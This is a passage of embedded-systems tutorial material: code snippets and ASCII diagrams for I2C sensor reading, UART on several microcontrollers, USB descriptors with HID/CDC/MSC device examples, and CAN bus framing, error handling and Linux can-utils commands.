# Create I2C bus (1 for RPi 3/4, 0 for older models)
bus = smbus.SMBus(1)

# MPU6050 address
MPU6050_ADDR = 0x68

# Registers
PWR_MGMT_1 = 0x6B
ACCEL_XOUT_H = 0x3B

# Wake up MPU6050
bus.write_byte_data(MPU6050_ADDR, PWR_MGMT_1, 0)
time.sleep(0.1)

# Read accelerometer data
def read_accel():
    # Read 6 bytes starting from ACCEL_XOUT_H
    data = bus.read_i2c_block_data(MPU6050_ADDR, ACCEL_XOUT_H, 6)

    # Convert to 16-bit signed values
    accel_x = (data[0] << 8) | data[1]
    accel_y = (data[2] << 8) | data[3]
    accel_z = (data[4] << 8) | data[5]

    # Convert to signed
    if accel_x > 32767:
        accel_x -= 65536
    if accel_y > 32767:
        accel_y -= 65536
    if accel_z > 32767:
        accel_z -= 65536

    return accel_x, accel_y, accel_z

# Main loop
try:
    while True:
        x, y, z = read_accel()
        print(f"Accel X: {x:6d}  Y: {y:6d}  Z: {z:6d}")
        time.sleep(0.5)

except KeyboardInterrupt:
    print("\nExiting...")
    bus.close()

import smbus
import time

bus = smbus.SMBus(1)
BME280_ADDR = 0x76

# BME280 registers
REG_ID = 0xD0
REG_CTRL_MEAS = 0xF4
REG_TEMP_MSB = 0xFA

# Check device ID
chip_id = bus.read_byte_data(BME280_ADDR, REG_ID)
print(f"Chip ID: 0x{chip_id:02X} (should be 0x60)")

# Configure sensor: normal mode, temp/pressure oversampling x1
bus.write_byte_data(BME280_ADDR, REG_CTRL_MEAS, 0x27)

# Read temperature (raw)
def read_temperature():
    data = bus.read_i2c_block_data(BME280_ADDR, REG_TEMP_MSB, 3)
    temp_raw = (data[0] << 12) | (data[1] << 4) | (data[2] >> 4)
    return temp_raw

while True:
    temp = read_temperature()
    print(f"Raw temperature: {temp}")
    time.sleep(1)

import smbus

bus = smbus.SMBus(1)

print("Scanning I2C bus...")
devices = []

for addr in range(0x03, 0x78):  # Valid 7-bit addresses
    try:
        bus.read_byte(addr)
        devices.append(addr)
        print(f"Found device at 0x{addr:02X}")
    except:
        pass

print(f"\nTotal devices found: {len(devices)}")
bus.close()

Device A              Device B
  TX      -------->     RX
  RX      <--------     TX
  GND     ---------    GND

  Start   Data Bits   Parity  Stop
   Bit    (5-9)       (Opt)  Bit(s)
        , , , , , , ,
        0 1 2 3 4 5 6 7

Bit Duration = 1 / Baud Rate

void setup() {
  // Initialize Serial (UART0) at 9600 baud
  Serial.begin(9600);

  // For other UART ports on boards like Arduino Mega:
  // Serial1.begin(115200);
  // Serial2.begin(9600);

  // Wait for serial port to connect
  while (!Serial) {
    ; // Wait for serial port to connect (needed for native USB)
  }

  Serial.println("UART initialized!");
}

void loop() {
  // Sending data
  Serial.print("Temperature: ");
  Serial.println(25.5);

  // Sending formatted data
  char buffer[50];
  sprintf(buffer, "Value: %d, Time: %lu", 42, millis());
  Serial.println(buffer);

  // Reading data
  if (Serial.available() > 0) {
    // Read a single byte
    char incoming = Serial.read();

    // Read until newline
    String command = Serial.readStringUntil('\n');

    // Read with timeout (default 1000ms)
    Serial.setTimeout(500);
    int value = Serial.parseInt();

    Serial.print("Received: ");
    Serial.println(command);
  }

  delay(1000);
}

// ESP32 has 3 hardware UARTs
HardwareSerial SerialGPS(1);   // UART1
HardwareSerial SerialModem(2); // UART2

void setup() {
  // Serial0 (USB) - default pins
  Serial.begin(115200);

  // UART1 - custom pins (TX=17, RX=16)
  SerialGPS.begin(9600, SERIAL_8N1, 16, 17);

  // UART2 - custom pins (TX=25, RX=26)
  SerialModem.begin(115200, SERIAL_8N1, 26, 25);
}

void loop() {
  // Read from GPS on UART1
  if (SerialGPS.available()) {
    String gpsData = SerialGPS.readStringUntil('\n');
    Serial.println("GPS: " + gpsData);
  }

  // Read from modem on UART2
  if (SerialModem.available()) {
    String modemResponse = SerialModem.readStringUntil('\n');
    Serial.println("Modem: " + modemResponse);
  }
}

#include "stm32f4xx_hal.h"

UART_HandleTypeDef huart2;

void UART_Init(void) {
    huart2.Instance = USART2;
    huart2.Init.BaudRate = 115200;
    huart2.Init.WordLength = UART_WORDLENGTH_8B;
    huart2.Init.StopBits = UART_STOPBITS_1;
    huart2.Init.Parity = UART_PARITY_NONE;
    huart2.Init.Mode = UART_MODE_TX_RX;
    huart2.Init.HwFlowCtl = UART_HWCONTROL_NONE;
    huart2.Init.OverSampling = UART_OVERSAMPLING_16;
    HAL_UART_Init(&huart2);
}

// Blocking transmission
void UART_SendString(char *str) {
    HAL_UART_Transmit(&huart2, (uint8_t*)str, strlen(str), 100);
}

// Blocking reception
void UART_ReceiveData(uint8_t *buffer, uint16_t size) {
    HAL_UART_Receive(&huart2, buffer, size, 1000);
}

// Interrupt-based reception
void UART_ReceiveIT(uint8_t *buffer, uint16_t size) {
    HAL_UART_Receive_IT(&huart2, buffer, size);
}

// Callback when reception complete
void HAL_UART_RxCpltCallback(UART_HandleTypeDef *huart) {
    if (huart->Instance == USART2) {
        // Process received data
        // Re-enable reception
        HAL_UART_Receive_IT(&huart2, rxBuffer, RX_BUFFER_SIZE);
    }
}

// DMA-based high-speed transfer
void UART_Transmit_DMA(uint8_t *data, uint16_t size) {
    HAL_UART_Transmit_DMA(&huart2, data, size);
}

#include <avr/io.h>

#define BAUD 9600
#define UBRR_VALUE ((F_CPU / 16 / BAUD) - 1)

void UART_Init(void) {
    // Set baud rate
    UBRR0H = (UBRR_VALUE >> 8);
    UBRR0L = UBRR_VALUE;

    // Enable transmitter and receiver
    UCSR0B = (1 << TXEN0) | (1 << RXEN0);

    // Set frame format: 8 data bits, 1 stop bit, no parity
    UCSR0C = (1 << UCSZ01) | (1 << UCSZ00);
}

void UART_Transmit(uint8_t data) {
    // Wait for empty transmit buffer
    while (!(UCSR0A & (1 << UDRE0)));
    // Put data into buffer, sends the data
    UDR0 = data;
}

uint8_t UART_Receive(void) {
    // Wait for data to be received
    while (!(UCSR0A & (1 << RXC0)));
    // Get and return received data from buffer
    return UDR0;
}

void UART_Print(const char *str) {
    while (*str) {
        UART_Transmit(*str++);
    }
}

// Real-time debugging output
Serial.print("Sensor value: ");
Serial.println(sensorValue);
Serial.print("Free RAM: ");
Serial.println(freeRam());

// Reading NMEA sentences from GPS
if (SerialGPS.available()) {
    String nmea = SerialGPS.readStringUntil('\n');
    if (nmea.startsWith("$GPGGA")) {
        parseGPS(nmea);
    }
}

// AT command interface
SerialBT.println("AT+NAME=MyDevice");
delay(100);
String response = SerialBT.readString();

// CO2 sensor command
Serial1.write(cmd, 9);
delay(100);
if (Serial1.available() >= 9) {
    Serial1.readBytes(response, 9);
}

// Command protocol with PC
void loop() {
    if (Serial.available()) {
        char cmd = Serial.read();
        switch(cmd) {
            case 'L': digitalWrite(LED, HIGH); break;
            case 'l': digitalWrite(LED, LOW); break;
            case 'T': Serial.println(readTemp()); break;
        }
    }
}

// Ensure both devices use exact same baud rate
// Check oscillator tolerance - should be < 2%

// For custom baud rates, verify with formula:
// UBRR = (F_CPU / (16 * BAUD)) - 1

// Check available space before reading
if (Serial.available() > 0) {
    int bytesToRead = Serial.available();
    for (int i = 0; i < bytesToRead; i++) {
        rxBuffer[i] = Serial.read();
    }
}

// Or use built-in methods
Serial.readBytes(rxBuffer, expectedSize);

// Set appropriate timeout
Serial.setTimeout(500);  // 500ms

// Check for timeout
int value = Serial.parseInt();
if (value == 0 && Serial.peek() != '0') {
    // Timeout occurred
    Serial.println("Error: Timeout");
}

RTS (Request To Send) and CTS (Clear To Send)
Used for high-speed communications or when receiver
might not keep up with sender

// Add framing for reliable communication
// Example: <START>DATA<END>

void sendPacket(uint8_t *data, uint8_t len) {
    Serial.write(0x02);  // STX (Start of Text)
    for (int i = 0; i < len; i++) {
        Serial.write(data[i]);
    }
    uint8_t checksum = calculateChecksum(data, len);
    Serial.write(checksum);
    Serial.write(0x03);  // ETX (End of Text)
}

// Try common baud rates systematically
Serial.begin(9600);   // Try this
Serial.begin(115200); // Then this

// Check your board's crystal frequency matches F_CPU

// Increase serial buffer size (in HardwareSerial.cpp)
#define SERIAL_RX_BUFFER_SIZE 256

// Use hardware flow control
// Process data promptly in loop()

// Add startup delay
void setup() {
    Serial.begin(9600);
    delay(100);  // Wait for UART to stabilize
}

// Send dummy byte first
Serial.write(0x00);
delay(10);

// Using MAX232 level shifter
// MCU TX -> MAX232 T1IN -> MAX232 T1OUT -> PC RX
// MCU RX <- MAX232 R1OUT <- MAX232 R1IN <- PC TX

USB Type A (Host):
┌─────────────┐
│ ┌─┐ ┌─┐ ┌─┐ │
│ │1│ │2│ │3│ │4│
│ └─┘ └─┘ └─┘ │
└─────────────┘
1: VBUS (+5V)
2: D- (Data -)
3: D+ (Data +)
4: GND

USB Type B (Device):
    ┌───┐
  ┌─┘   └─┐
  │ 1   2 │
  │ 3   4 │
  └───────┘

USB Micro B (Common on embedded):
  ┌─────────┐
  │1 2 3 4 5│
  └─────────┘
1: VBUS (+5V)
2: D-
3: D+
4: ID (OTG)
5: GND

USB Type C (Modern):
  ┌───────────┐
  │A1 A2...A12│
  │B1 B2...B12│
  └───────────┘
Reversible, 24 pins

Host (PC/Hub)
    │
    ├─── Device 1 (Address 1)
    │
    ├─── Hub (Address 2)
    │     │
    │     ├─── Device 2 (Address 3)
    │     └─── Device 3 (Address 4)
    │
    └─── Device 4 (Address 5)

Maximum:
- 127 devices per host
- 5 meter cable length per segment
- 7 tiers (including hub)

USB 2.0: 5V, 500 mA max
USB 3.0: 5V, 900 mA max
USB-C PD: 5V, 9V, 15V, 20V up to 100W

Token Packets:
- SETUP: Initialize control transfer
- IN: Request data from device
- OUT: Send data to device
- SOF: Start of Frame (every 1 ms)

Data Packets:
- DATA0: Even data packet
- DATA1: Odd data packet
- DATA2: High-speed data
- MDATA: Multi-data

Handshake Packets:
- ACK: Acknowledge success
- NAK: Not ready
- STALL: Endpoint halted

Special Packets:
- PRE: Preamble for low-speed
- ERR: Error detected
- SPLIT: High-speed split transaction

1. Device Plugged In
   │
   ├─ USB Reset (SE0 for 10ms)
   │
2. Host Assigns Address 0 (default)
   │
   ├─ Get Device Descriptor
   │  Response: VID, PID, max packet size
   │
3. Host Assigns Unique Address (1-127)
   │
   ├─ Set Address
   │
4. Host Requests Configuration
   │
   ├─ Get Configuration Descriptor
   │  Response: Interfaces, endpoints, class info
   │
   ├─ Get String Descriptors (optional)
   │  Response: Manufacturer, product, serial
   │
5. Host Configures Device
   │
   ├─ Set Configuration
   │
6. Device Ready for Use

Setup Stage:
  Host → Device: SETUP token + DATA0 packet

Data Stage (optional):
  IN:  Device → Host: DATA packets
  OUT: Host → Device: DATA packets

Status Stage:
  IN:  Device → Host: Zero-length DATA1 + ACK
  OUT: Host → Device: Zero-length DATA1 + ACK

// bmRequestType: Direction | Type | Recipient
#define USB_DIR_OUT     0x00
#define USB_DIR_IN      0x80

#define USB_TYPE_STANDARD   0x00
#define USB_TYPE_CLASS      0x20
#define USB_TYPE_VENDOR     0x40

#define USB_RECIP_DEVICE    0x00
#define USB_RECIP_INTERFACE 0x01
#define USB_RECIP_ENDPOINT  0x02

// bRequest codes
#define USB_REQ_GET_STATUS        0
#define USB_REQ_CLEAR_FEATURE     1
#define USB_REQ_SET_FEATURE       3
#define USB_REQ_SET_ADDRESS       5
#define USB_REQ_GET_DESCRIPTOR    6
#define USB_REQ_SET_DESCRIPTOR    7
#define USB_REQ_GET_CONFIGURATION 8
#define USB_REQ_SET_CONFIGURATION 9
#define USB_REQ_GET_INTERFACE     10
#define USB_REQ_SET_INTERFACE     11

// HID Descriptor
struct HID_Descriptor {
    uint8_t  bLength;           // Size of descriptor
    uint8_t  bDescriptorType;   // HID descriptor type (0x21)
    uint16_t bcdHID;            // HID specification release
    uint8_t  bCountryCode;      // Country code
    uint8_t  bNumDescriptors;   // Number of class descriptors
    uint8_t  bDescriptorType2;  // Report descriptor type (0x22)
    uint16_t wDescriptorLength; // Length of report descriptor
};

// HID Report Descriptor (Mouse example)
const uint8_t mouse_report_descriptor[] = {
    0x05, 0x01,        // Usage Page (Generic Desktop)
    0x09, 0x02,        // Usage (Mouse)
    0xA1, 0x01,        // Collection (Application)
    0x09, 0x01,        //   Usage (Pointer)
    0xA1, 0x00,        //   Collection (Physical)
    0x05, 0x09,        //     Usage Page (Buttons)
    0x19, 0x01,        //     Usage Minimum (Button 1)
    0x29, 0x03,        //     Usage Maximum (Button 3)
    0x15, 0x00,        //     Logical Minimum (0)
    0x25, 0x01,        //     Logical Maximum (1)
    0x95, 0x03,        //     Report Count (3)
    0x75, 0x01,        //     Report Size (1)
    0x81, 0x02,        //     Input (Data, Variable, Absolute)
    0x95, 0x01,        //     Report Count (1)
    0x75, 0x05,        //     Report Size (5)
    0x81, 0x01,        //     Input (Constant) - Padding
    0x05, 0x01,        //     Usage Page (Generic Desktop)
    0x09, 0x30,        //     Usage (X)
    0x09, 0x31,        //     Usage (Y)
    0x15, 0x81,        //     Logical Minimum (-127)
    0x25, 0x7F,        //     Logical Maximum (127)
    0x75, 0x08,        //     Report Size (8)
    0x95, 0x02,        //     Report Count (2)
    0x81, 0x06,        //     Input (Data, Variable, Relative)
    0xC0,              //   End Collection
    0xC0               // End Collection
};

// CDC ACM (Abstract Control Model) Interface

// CDC Header Functional Descriptor
struct CDC_Header_Descriptor {
    uint8_t  bLength;
    uint8_t  bDescriptorType;
    uint8_t  bDescriptorSubtype;  // Header (0x00)
    uint16_t bcdCDC;
};

// CDC Call Management Descriptor
struct CDC_CallManagement_Descriptor {
    uint8_t bLength;
    uint8_t bDescriptorType;
    uint8_t bDescriptorSubtype;  // Call Management (0x01)
    uint8_t bmCapabilities;
    uint8_t bDataInterface;
};

// CDC Line Coding (115200 8N1 example)
struct CDC_LineCoding {
    uint32_t dwDTERate;      // Baud rate: 115200
    uint8_t  bCharFormat;    // Stop bits: 1
    uint8_t  bParityType;    // Parity: None (0)
    uint8_t  bDataBits;      // Data bits: 8
};

struct USB_Device_Descriptor {
    uint8_t  bLength;            // Size: 18 bytes
    uint8_t  bDescriptorType;    // DEVICE (0x01)
    uint16_t bcdUSB;             // USB version (0x0200 for USB 2.0)
    uint8_t  bDeviceClass;       // Class code
    uint8_t  bDeviceSubClass;    // Subclass code
    uint8_t  bDeviceProtocol;    // Protocol code
    uint8_t  bMaxPacketSize0;    // Max packet size for EP0
    uint16_t idVendor;           // Vendor ID (VID)
    uint16_t idProduct;          // Product ID (PID)
    uint16_t bcdDevice;          // Device release number
    uint8_t  iManufacturer;      // Manufacturer string index
    uint8_t  iProduct;           // Product string index
    uint8_t  iSerialNumber;      // Serial number string index
    uint8_t  bNumConfigurations; // Number of configurations
};

// Example
const uint8_t device_descriptor[] = {
    18,         // bLength
    0x01,       // bDescriptorType (DEVICE)
    0x00, 0x02, // bcdUSB (USB 2.0)
    0x00,       // bDeviceClass (defined in interface)
    0x00,       // bDeviceSubClass
    0x00,       // bDeviceProtocol
    64,         // bMaxPacketSize0
    0x83, 0x04, // idVendor (0x0483 - STMicroelectronics)
    0x40, 0x57, // idProduct (0x5740)
    0x00, 0x02, // bcdDevice (2.0)
    1,          // iManufacturer
    2,          // iProduct
    3,          // iSerialNumber
    1           // bNumConfigurations
};

struct USB_Configuration_Descriptor {
    uint8_t  bLength;             // Size: 9 bytes
    uint8_t  bDescriptorType;     // CONFIGURATION (0x02)
    uint16_t wTotalLength;        // Total length of data
    uint8_t  bNumInterfaces;      // Number of interfaces
    uint8_t  bConfigurationValue; // Configuration index
    uint8_t  iConfiguration;      // Configuration string index
    uint8_t  bmAttributes;        // Attributes (self/bus powered)
    uint8_t  bMaxPower;           // Max power in 2mA units
};

struct USB_Interface_Descriptor {
    uint8_t bLength;            // Size: 9 bytes
    uint8_t bDescriptorType;    // INTERFACE (0x04)
    uint8_t bInterfaceNumber;   // Interface index
    uint8_t bAlternateSetting;  // Alternate setting
    uint8_t bNumEndpoints;      // Number of endpoints
    uint8_t bInterfaceClass;    // Class code
    uint8_t bInterfaceSubClass; // Subclass code
    uint8_t bInterfaceProtocol; // Protocol code
    uint8_t iInterface;         // Interface string index
};

struct USB_Endpoint_Descriptor {
    uint8_t  bLength;          // Size: 7 bytes
    uint8_t  bDescriptorType;  // ENDPOINT (0x05)
    uint8_t  bEndpointAddress; // Address (bit 7: direction)
    uint8_t  bmAttributes;     // Transfer type
    uint16_t wMaxPacketSize;   // Max packet size
    uint8_t  bInterval;        // Polling interval (ms)
};

// Endpoint address format:
// Bit 7: Direction (0 = OUT, 1 = IN)
// Bits 3-0: Endpoint number (0-15)
#define USB_EP_IN(n)  (0x80 | (n))
#define USB_EP_OUT(n) (n)

// Transfer types
#define USB_EP_TYPE_CONTROL     0x00
#define USB_EP_TYPE_ISOCHRONOUS 0x01
#define USB_EP_TYPE_BULK        0x02
#define USB_EP_TYPE_INTERRUPT   0x03

struct USB_String_Descriptor {
    uint8_t bLength;
    uint8_t bDescriptorType;  // STRING (0x03)
    uint16_t wString[];       // Unicode string
};

// String 0 (Language ID)
const uint8_t string0[] = {
    4,      // bLength
    0x03,   // bDescriptorType
    0x09, 0x04  // wLANGID[0]: 0x0409 (English - US)
};

// String 1 (Manufacturer)
const uint8_t string1[] = {
    28,     // bLength
    0x03,   // bDescriptorType
    'M',0, 'a',0, 'n',0, 'u',0, 'f',0, 'a',0, 'c',0, 
    't',0, 'u',0, 'r',0, 'e',0, 'r',0, 0,0
};

#include <Mouse.h>

void setup() {
    Mouse.begin();
}

void loop() {
    // Move mouse in a square
    Mouse.move(10, 0);   // Right
    delay(500);
    Mouse.move(0, 10);   // Down
    delay(500);
    Mouse.move(-10, 0);  // Left
    delay(500);
    Mouse.move(0, -10);  // Up
    delay(500);
}

#include <Keyboard.h>

const int BUTTON_PIN = 2;

void setup() {
    pinMode(BUTTON_PIN, INPUT_PULLUP);
    Keyboard.begin();
}

void loop() {
    if (digitalRead(BUTTON_PIN) == LOW) {
        Keyboard.print("Hello, World!");
        delay(500);
    }
}

#include <HID.h>

// Custom HID report descriptor
static const uint8_t _hidReportDescriptor[] PROGMEM = {
    0x06, 0x00, 0xFF,  // Usage Page (Vendor Defined)
    0x09, 0x01,        // Usage (Vendor Usage 1)
    0xA1, 0x01,        // Collection (Application)
    0x15, 0x00,        //   Logical Minimum (0)
    0x26, 0xFF, 0x00,  //   Logical Maximum (255)
    0x75, 0x08,        //   Report Size (8 bits)
    0x95, 0x40,        //   Report Count (64)
    0x09, 0x01,        //   Usage (Vendor Usage 1)
    0x81, 0x02,        //   Input (Data, Variable, Absolute)
    0x09, 0x01,        //   Usage (Vendor Usage 1)
    0x91, 0x02,        //   Output (Data, Variable, Absolute)
    0xC0               // End Collection
};

void setup() {
    static HIDSubDescriptor node(_hidReportDescriptor, sizeof(_hidReportDescriptor));
    HID().AppendDescriptor(&node);
}

void loop() {
    uint8_t data[64] = {1, 2, 3, 4};
    HID().SendReport(1, data, 64);
    delay(100);
}

/* Generated by CubeMX with USB Device middleware */
#include "usbd_cdc_if.h"

int main(void) {
    HAL_Init();
    SystemClock_Config();
    MX_USB_DEVICE_Init();

    uint8_t buffer[64];
    sprintf((char*)buffer, "Hello from STM32!\r\n");

    while (1) {
        CDC_Transmit_FS(buffer, strlen((char*)buffer));
        HAL_Delay(1000);
    }
}

/* In usbd_cdc_if.c */
static int8_t CDC_Receive_FS(uint8_t* Buf, uint32_t *Len) {
    // Echo back received data
    CDC_Transmit_FS(Buf, *Len);
    return USBD_OK;
}

/* Configure USB Device as HID in CubeMX */
#include "usbd_hid.h"

extern USBD_HandleTypeDef hUsbDeviceFS;

// HID keyboard report
typedef struct {
    uint8_t modifiers;  // Ctrl, Shift, Alt, GUI
    uint8_t reserved;
    uint8_t keys[6];    // Up to 6 simultaneous keys
} KeyboardReport;

void send_key(uint8_t key) {
    KeyboardReport report = {0};

    // Press key
    report.keys[0] = key;
    USBD_HID_SendReport(&hUsbDeviceFS, (uint8_t*)&report, sizeof(report));
    HAL_Delay(10);

    // Release key
    memset(&report, 0, sizeof(report));
    USBD_HID_SendReport(&hUsbDeviceFS, (uint8_t*)&report, sizeof(report));
    HAL_Delay(10);
}

int main(void) {
    HAL_Init();
    SystemClock_Config();
    MX_USB_DEVICE_Init();

    HAL_Delay(1000);  // Wait for enumeration

    while (1) {
        // Send 'A' key
        send_key(0x04);  // HID usage code for 'A'
        HAL_Delay(1000);
    }
}

/* Configure USB Device as MSC in CubeMX */
#include "usbd_storage_if.h"

// Implement SCSI commands
int8_t STORAGE_Read_FS(uint8_t lun, uint8_t *buf, uint32_t blk_addr, uint16_t blk_len) {
    // Read from SD card or internal flash
    for (uint16_t i = 0; i < blk_len; i++) {
        // Read block at (blk_addr + i) to (buf + i * BLOCK_SIZE)
    }
    return USBD_OK;
}

int8_t STORAGE_Write_FS(uint8_t lun, uint8_t *buf, uint32_t blk_addr, uint16_t blk_len) {
    // Write to SD card or internal flash
    for (uint16_t i = 0; i < blk_len; i++) {
        // Write block at (blk_addr + i) from (buf + i * BLOCK_SIZE)
    }
    return USBD_OK;
}

import serial
import time

# Open serial port
ser = serial.Serial('COM3', 115200, timeout=1)  # Windows
# ser = serial.Serial('/dev/ttyACM0', 115200, timeout=1)  # Linux

# Write data
ser.write(b'Hello, Device!\n')

# Read data
while True:
    if ser.in_waiting > 0:
        data = ser.readline()
        print(f"Received: {data.decode()}")

    time.sleep(0.1)

ser.close()

// Linux example
#include <fcntl.h>
#include <unistd.h>
#include <termios.h>

int main() {
    int fd = open("/dev/ttyACM0", O_RDWR);

    // Configure serial port
    struct termios tty;
    tcgetattr(fd, &tty);
    cfsetospeed(&tty, B115200);
    cfsetispeed(&tty, B115200);
    tty.c_cflag |= (CLOCAL | CREAD);
    tty.c_cflag &= ~PARENB;
    tty.c_cflag &= ~CSTOPB;
    tty.c_cflag &= ~CSIZE;
    tty.c_cflag |= CS8;
    tcsetattr(fd, TCSANOW, &tty);

    // Write
    char msg[] = "Hello, Device!\n";
    write(fd, msg, sizeof(msg));

    // Read
    char buffer[256];
    int n = read(fd, buffer, sizeof(buffer));
    buffer[n] = '\0';
    printf("Received: %s\n", buffer);

    close(fd);
    return 0;
}

# List USB devices
lsusb

# Detailed info
lsusb -v

# Monitor USB traffic
sudo cat /sys/kernel/debug/usb/usbmon/0u

# Install usbutils
sudo apt install usbutils

[SOF][Arbitration Field][Control Field][Data Field][CRC Field][ACK Field][EOF]

SOF | 00100100011 | 0 | 0 | 0 | 0010 | 10101011 11001101 | CRC(15) | 1 | ACK | 1 | 1111111
     \_________/   RTR IDE r0  DLC    \_______________/
       ID=0x123                        Data=0xABCD

[SOF][Base ID(11)][SRR][IDE][Extended ID(18)][RTR][r1][r0][DLC][Data][CRC][ACK][EOF]

Base ID (11 bits) | Extended ID (18 bits)
MSB           LSB | MSB              LSB

[Arbitration Phase - same speed] | [Data Phase - faster speed] | [ACK/EOF - same speed]

Classic CAN: 8 bytes @ 500 kbps = 134 μs transmission time
CAN FD:      64 bytes @ 2 Mbps data = 210 μs transmission time
             (8x more data in ~1.5x time)

Original data:    1 1 1 1 1 0 0 0 1
After stuffing:   1 1 1 1 1 0 0 0 0 0 1
                           ↑       ↑
                      Stuff bits added

|<-- Sync Seg -->|<-- Prop Seg -->|<-- Phase Seg 1 -->|<-- Phase Seg 2 -->|
|      1 TQ      |    1-8 TQ      |     1-8 TQ        |     1-8 TQ        |
                                   ^
                              Sample Point

Bit_Time = Sync_Seg + Prop_Seg + Phase_Seg1 + Phase_Seg2
Bit_Time = 1 TQ + Prop_Seg + Phase_Seg1 + Phase_Seg2

Baud_Rate = 1 / Bit_Time
Baud_Rate = f_clk / (BRP × Bit_Time_in_TQ)

Target: 500 kbps (2 μs bit time)

Choose:
- BRP = 2
- Sync_Seg = 1 TQ
- Prop_Seg = 2 TQ
- Phase_Seg1 = 3 TQ
- Phase_Seg2 = 2 TQ
- Total = 8 TQ

TQ = 2 × (1/8MHz) = 0.25 μs
Bit_Time = 8 × 0.25 μs = 2 μs
Baud_Rate = 1 / 2 μs = 500 kbps ✓

Sample Point = (1+2+3) / 8 = 75%

   120Ω                                                              120Ω
    ┬─────────┬─────────┬─────────┬─────────┬─────────┬─────────┬
    │         │         │         │         │         │         │
  Node 1    Node 2    Node 3    Node 4    Node 5    Node 6    Node 7

Node A: Recessive (1) |------|_______|------|  Dominant wins
Node B: Dominant  (0) |______|_______|______|
Bus Result:           |______|_______|______|

       CAN_H ──┬── 60Ω ──┬── 100nF ── GND
                         │
       CAN_L ──┴── 60Ω ──┘

Max_Length = (Bit_Time - 2 × Delays) / (2 × Propagation_Delay)

Where:
- Bit_Time: Time for one bit (1/Baud_Rate)
- Delays: Transceiver + Node delays (~200-250 ns total)
- Propagation_Delay: ~5 ns/m for typical cable

Microcontroller                Transceiver               CAN Bus
┌─────────────┐               ┌──────────┐
│             │               │          │
│ CAN_TX ─────┼───────────────┼→ TXD    │
│             │               │          │
│ CAN_RX ←────┼───────────────┼← RXD    │
│             │               │          │       120Ω
│ GND ────────┼───────────────┼─ GND    │   ┬─────/\/\/\/\─┬
│             │               │          │   │              │
│ VCC ────────┼───────────────┼─ VCC  CANH ─┼─────────────┼─ CAN_H
└─────────────┘               │        │    │              │
                              │      CANL ─┼─────────────┼─ CAN_L
                              │        │    │              │
                              └──────────┘   │              │
                                             ┴              ┴
                                            GND         120Ω + GND

MCU Side         Isolation Barrier        Bus Side
┌──────┐         ┌───────────┐           ┌──────────┐
│ TX ──┼────────→│ ISO7221   │──────────→│ TXD      │
│      │         │ (Digital  │           │          │
│ RX ←─┼─────────│  Isolator)│←──────────│ RXD   MCP2551
│      │         └───────────┘           │          │
│ GND ─┤                                 │ GND CANH/L
└──────┘                                 └──────────┘
 Isolated                               Isolated
  Power                                  Ground

Node transmits: 1 (Recessive)
Bus reads:      0 (Dominant) ← Another node pulling bus down
Result: Bit Error detected (unless during arbitration/ACK)

Received: 1 1 1 1 1 1 0 ← Six consecutive 1s
Result: Stuff Error detected

Expected EOF: 1 1 1 1 1 1 1 (seven recessive bits)
Received:     1 1 0 1 1 1 1 ← Dominant bit in EOF
Result: Form Error detected

Transmitter sends ACK slot: 1 (Recessive)
Expected from receiver:     0 (Dominant) ← Acknowledgment
Bus remains:                1 (Recessive) ← No ACK!
Result: ACK Error detected

CAN 2.0: x^15 + x^14 + x^10 + x^8 + x^7 + x^4 + x^3 + 1

[Error Flag] + [Error Delimiter]

Normal frame: [SOF][ID]....[Data]...[CRC] ← Error detected here
                                     ↓
Error Frame:                    [000000][11111111]
                                 ↑        ↑
                            Error Flag  Delimiter

Retransmission: [SOF][ID]....[Data]...[CRC][ACK][EOF] ← Retry

                  TEC or REC > 127           TEC > 255
Error-Active  ────────────────────→  Error-Passive  ─────────→  Bus-Off
              ←────────────────────
                 Both counters < 128

[Passive Error Flag][Error Delimiter][Suspend Transmission]
     6 recessive         8 recessive        8 recessive

Bus-Off Recovery:
TEC = 256+ → Bus-Off State
             ↓
        Wait 128 × 11 recessive bits
             ↓
        TEC = 0, REC = 0
             ↓
        Error-Active State

┌─────────────────┐
│  Error-Active   │  Normal operation
│  TEC ≤ 127      │  Active Error Flags (6 dominant bits)
│  REC ≤ 127      │
└────────┬────────┘
         │
         │ TEC > 127 or REC > 127
         ↓
┌─────────────────┐
│ Error-Passive   │  Reduced participation
│  TEC ≤ 255      │  Passive Error Flags (6 recessive bits)
│  REC > 127      │  Suspend Transmission delay
└────────┬────────┘
         │
         │ TEC > 255
         ↓
┌─────────────────┐
│    Bus-Off      │  Disconnected from bus
│   TEC > 255     │  Cannot transmit/receive
│                 │  Requires recovery period
└────────┬────────┘
         │
         │ 128 × 11 recessive bits observed
         ↓
┌─────────────────┐
│  Error-Active   │  Return to normal (counters reset)
└─────────────────┘

Node A (disconnected) tries to transmit:
1. Sends frame, gets no ACK → ACK Error
2. TEC += 8
3. Retransmits, gets no ACK → ACK Error
4. TEC += 8
5. After ~32 failed transmissions: TEC > 255 → Bus-Off
6. Node A automatically disconnects from bus

Receiver detects corrupted frame:
1. CRC Error detected
2. REC += 1
3. Sends Error Frame
4. Transmitter retransmits
5. If errors persist: REC grows
6. At REC > 127: Node becomes Error-Passive
7. Reduces its impact on bus while still receiving

Node with wrong baud rate:
1. Detects constant bit errors
2. TEC/REC increment rapidly
3. Quickly enters Error-Passive
4. Eventually Bus-Off
5. Does not disrupt properly configured nodes

// Pseudocode for error monitoring
if (TEC > 96 || REC > 96) {
    // Warning: Node approaching Error-Passive
    log_warning("High error count");
}

if (node_state == ERROR_PASSIVE) {
    // Error: Node in degraded state
    log_error("Node Error-Passive");
    // Investigate: wiring, termination, baud rate
}

if (node_state == BUS_OFF) {
    // Critical: Node offline
    log_critical("Node Bus-Off");
    // Check: physical connection, transceiver
}

# Load kernel modules
sudo modprobe can
sudo modprobe can_raw
sudo modprobe vcan  # Virtual CAN for testing

# Create virtual CAN interface (for testing)
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0

# For real hardware (e.g., Raspberry Pi with MCP2515)
sudo ip link set can0 type can bitrate 500000
sudo ip link set up can0

# Verify interface is up
ip -details link show can0

# Install can-utils
sudo apt-get install can-utils

# Send a CAN frame (ID=0x123, data=0x11 0x22 0x33)
cansend can0 123#112233

# Send extended frame (ID=0x12345678)
cansend can0 12345678#DEADBEEF

# Receive and display CAN frames
candump can0

# Filter specific ID
candump can0,123:7FF  # Receive only ID 0x123

# Generate random traffic (testing)
cangen can0 -I 100 -L 8 -D r -g 100

# Display statistics
canfdtest can0 -v

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <net/if.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/can.h>
#include <linux/can/raw.h>

int main() {
    int s;
    struct sockaddr_can addr;
